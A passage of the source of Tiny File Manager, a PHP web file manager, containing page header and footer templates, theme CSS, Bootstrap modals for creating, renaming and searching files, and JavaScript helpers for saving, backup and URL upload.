2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");} .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1} .fm-login-page .brand img{ width:100%} .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;} .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)} .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;} .fm-login-page .form-control{ border-width:2.3px} .fm-login-page .form-group label{ width:100%} .fm-login-page .btn.btn-block{ padding:12px 10px} .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center} @media screen and (max-width:425px){ .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;} } @media screen and (max-width:320px){ .fm-login-page .card.fat{ padding:0} .fm-login-page .card.fat .card-body{ padding:15px} } .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff} .message.ok{ border-color:green;color:green} .message.error{ border-color:red;color:red} .message.alert{ border-color:orange;color:orange} body.fm-login-page.theme-dark {background-color: #2f2a2a;} .theme-dark svg g, .theme-dark svg path {fill: #ffffff; } </style> </head> <body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>"> <div id="wrapper" class="container-fluid"> <?php } /** * Show page footer in Login Form */ function fm_show_footer_login() { ?> </div> <?php print_external('js-jquery'); ?> <?php print_external('js-bootstrap'); ?> </body> </html> <?php } /** * Show Header after login */ function fm_show_header() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $sticky_navbar, $favicon_path; $isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal'; ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager"> <meta name="author" content="CCP Programmers"> <meta name="robots" content="noindex, nofollow"> <meta name="googlebot" content="noindex"> <?php if($favicon_path) { echo '<link rel="icon" href="'.fm_enc($favicon_path).'" type="image/png">'; } ?> <title><?php echo fm_enc(APP_TITLE) ?></title> <?php print_external('pre-jsdelivr'); ?> <?php print_external('pre-cloudflare'); ?> <?php print_external('css-bootstrap'); ?> <?php print_external('css-font-awesome'); ?> <?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?> <?php print_external('css-highlightjs'); ?> <?php endif; ?> <script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script> <style> html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;} *,*::before,*::after { box-sizing: border-box;} body { font-size:15px; color:#222;background:#F7F7F7; } body.navbar-fixed { margin-top:55px; } a, a:hover, a:visited, a:focus { text-decoration:none !important; } .filename, td, th { white-space:nowrap } .navbar-brand { font-weight:bold; } .nav-item.avatar a { cursor:pointer;text-transform:capitalize; } .nav-item.avatar a > i { font-size:15px; } .nav-item.avatar .dropdown-menu a { font-size:13px; } #search-addon { font-size:12px;border-right-width:0; } .brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; } .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; } .bread-crumb { color:#cccccc;font-style:normal; } #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;} #main-table .filename a { color:#222222; } .table td, .table th { vertical-align:middle !important; } .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; } .table-sm td, .table-sm th { padding:.4rem; } .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; } .hidden { display:none } pre.with-hljs { padding:0; overflow: hidden; } pre.with-hljs code { margin:0;border:0;overflow:scroll; } code.maxheight, pre.maxheight { max-height:512px } .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec } .fa.fa-home { font-size:1.3em;vertical-align:bottom } .path { margin-bottom:10px } form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; } .right { text-align:right } .center, .close, .login-form, .preview-img-container { text-align:center } .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff } .message.ok { border-color:green;color:green } .message.error { border-color:red;color:red } .message.alert { border-color:orange;color:orange } .preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in } input#preview-img-zoomCheck[type=checkbox] { display:none } input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out } .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; } .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px } .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 } .compact-table { border:0;width:auto } .compact-table td, .compact-table th { width:100px;border:0;text-align:center } .compact-table tr:hover td { background-color:#fff } .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis } .break-word { word-wrap:break-word;margin-left:30px } .break-word.float-left a { color:#7d7d7d } .break-word + .float-right { padding-right:30px;position:relative } .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px } #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px } @media (max-width:481px) { #editor { top:150px; } } #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; } .btn-2 { padding:4px 10px;font-size:small; } li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px } li.folder:before { content:"\f114" } i.fa.fa-folder-o { color:#0157b3 } i.fa.fa-picture-o { color:#26b99a } i.fa.fa-file-archive-o { color:#da7d7d } .btn-2 i.fa.fa-file-archive-o { color:inherit } i.fa.fa-css3 { color:#f36fa0 } i.fa.fa-file-code-o { color:#007bff } i.fa.fa-code { color:#cc4b4c } i.fa.fa-file-text-o { color:#0096e6 } i.fa.fa-html5 { color:#d75e72 } i.fa.fa-file-excel-o { color:#09c55d } i.fa.fa-file-powerpoint-o { color:#f6712e } i.go-back { font-size:1.2em;color:#007bff; } .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) } .dataTables_filter { display:none; } table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); } table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); } table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); } table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; } .footer-action li { margin-bottom:10px; } .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; } hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; } #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; } #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; } @-webkit-keyframes fadein { from { bottom:0;opacity:0; } to { bottom:30px;opacity:1; } } @keyframes fadein { from { bottom:0;opacity:0; } to { bottom:30px;opacity:1; } } @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; } to { bottom:0;opacity:0; } } @keyframes fadeout { from { bottom:30px;opacity:1; } to { bottom:0;opacity:0; } } #main-table span.badge { border-bottom:2px solid #f8f9fa } #main-table span.badge:nth-child(1) { border-color:#df4227 } #main-table span.badge:nth-child(2) { border-color:#f8b600 } #main-table span.badge:nth-child(3) { border-color:#00bd60 } #main-table span.badge:nth-child(4) { border-color:#4581ff } #main-table span.badge:nth-child(5) { border-color:#ac68fc } #main-table span.badge:nth-child(6) { border-color:#45c3d2 } @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; } } .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important } .lds-facebook { display:none;position:relative;width:64px;height:64px } .lds-facebook div,.lds-facebook.show-me { display:inline-block } .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite } .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s } .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s } .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s } @keyframes lds-facebook { 0% { top:6px;height:51px } 100%,50% { top:19px;height:26px } } ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; } ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;} .c-preview-img { max-width: 300px; } .border-radius-0 { border-radius: 0; } .float-right { float: right; } .table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; } #main-table tr.even { background-color: #F8F9Fa; } .filename>a>i {margin-right: 3px;} </style> <?php if (FM_THEME == "dark"): ?> <style> :root { --bs-bg-opacity: 1; --bg-color: #f3daa6; --bs-dark-rgb: 28, 36, 41 !important; --bs-bg-opacity: 1; } .table-dark { --bs-table-bg: 28, 36, 41 !important; } .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; } body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; } .list-group .list-group-item { background: #343a40; } .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; } a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); } ul#search-wrapper li:nth-child(odd) { background: #212a2f; } .theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; } .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;} .theme-dark input.form-control { background-color: #101518; color: #CFD8DC; } .theme-dark .dropzone { background: transparent; } .theme-dark .inline-actions > a > i { background: #79755e; } .theme-dark .text-white { color: #CFD8DC !important; } .theme-dark .table-bordered td, .table-bordered th { border-color: #343434; } .theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; } .message { background-color: #212529; } .compact-table tr:hover td { background-color: #3d3d3d; } #main-table tr.even { background-color: #21292f; } form.dropzone { border-color: #79755e; } </style> <?php endif; ?> </head> <body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>"> <div id="wrapper" class="container-fluid"> <!-- New Item creation --> <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <form class="modal-content <?php echo fm_get_theme(); ?>" method="post"> <div class="modal-header"> <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file"> <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked> <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label> </div> <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p> <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required> </div> <div class="modal-footer"> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button> <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button> </div> </form> </div> </div> <!-- Advance Search Modal --> <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg" role="document"> <div class="modal-content <?php echo fm_get_theme(); ?>"> <div class="modal-header"> <h5 class="modal-title col-10" id="searchModalLabel"> <div class="input-group mb-3"> <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required> <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span> </div> </h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <form action="" method="post"> <div class="lds-facebook"><div></div><div></div><div></div></div> <ul id="search-wrapper"> <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p> </ul> </form> </div> </div> </div> </div> <!--Rename Modal --> <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog"> <div class="modal-dialog" role="document"> <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off"> <div class="modal-body p-4 text-center"> <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5> <p class="mb-1"> <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <input type="hidden" name="rename_from" id="js-rename-from"> </p> </div> <div class="modal-footer flex-nowrap p-0"> <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button> <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button> </div> </form> </div> </div> <!-- Confirm Modal --> <script type="text/html" id="js-tpl-confirm"> <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>"> <div class="modal-dialog" role="document"> <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>"> <div class="modal-body p-4 text-center"> <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5> <p class="mb-1"><%this.content%></p> </div> <div class="modal-footer flex-nowrap p-0"> <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button> <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button> </div> </form> </div> </div> </script> <?php } /** * Show page footer after login */ function fm_show_footer() { ?> </div> <?php print_external('js-jquery'); ?> <?php print_external('js-bootstrap'); ?> <?php print_external('js-jquery-datatables'); ?> <?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?> <?php print_external('js-highlightjs'); ?> <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script> <?php endif; ?> <script> function template(html,options){ var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add} while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length} add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options) } function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } } function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked } function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t } function select_all() { change_checkboxes(get_checkboxes(), !0) } function unselect_all() { change_checkboxes(get_checkboxes(), !1) } function invert_all() { change_checkboxes(get_checkboxes()) } function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) } function backup(e, t) { // Create file backup with .bck var n = new XMLHttpRequest, a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true"; return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () { 4 == n.readyState && 200 == n.status && toast(n.responseText) }, n.send(a), !1 } // Toast message function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); } // Save file function edit_save(e, t) { var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value; if (typeof n !== 'undefined' && n !== null) { if (true) { var data = {ajax: true, content: n, type: 'save', token: window.csrf}; $.ajax({ type: "POST", url: window.location, data: JSON.stringify(data), contentType: "application/json; charset=utf-8", success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}}, failure: function(mes) {toast("Error: try again");}, error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);} }); } else { var a = document.createElement("form"); a.setAttribute("method", "POST"), a.setAttribute("action", ""); var o = document.createElement("textarea"); o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata"); let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf); var c = document.createTextNode(n); o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit() } } } function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); } // Save Settings function save_settings($this) { let form = $($this); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true, success: function (data) {if(data) { window.location.reload();}} }); return false; } //Create new password hash function new_password_hash($this) { let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val(''); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true, success: function (data) { if(data) { $pwd.val(data); } } }); return false; } // Upload files using URL @param {Object} function upload_from_url($this) { let form = $($this), resultWrapper = $("div#js-url-upload__list"); $.ajax({ type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true, 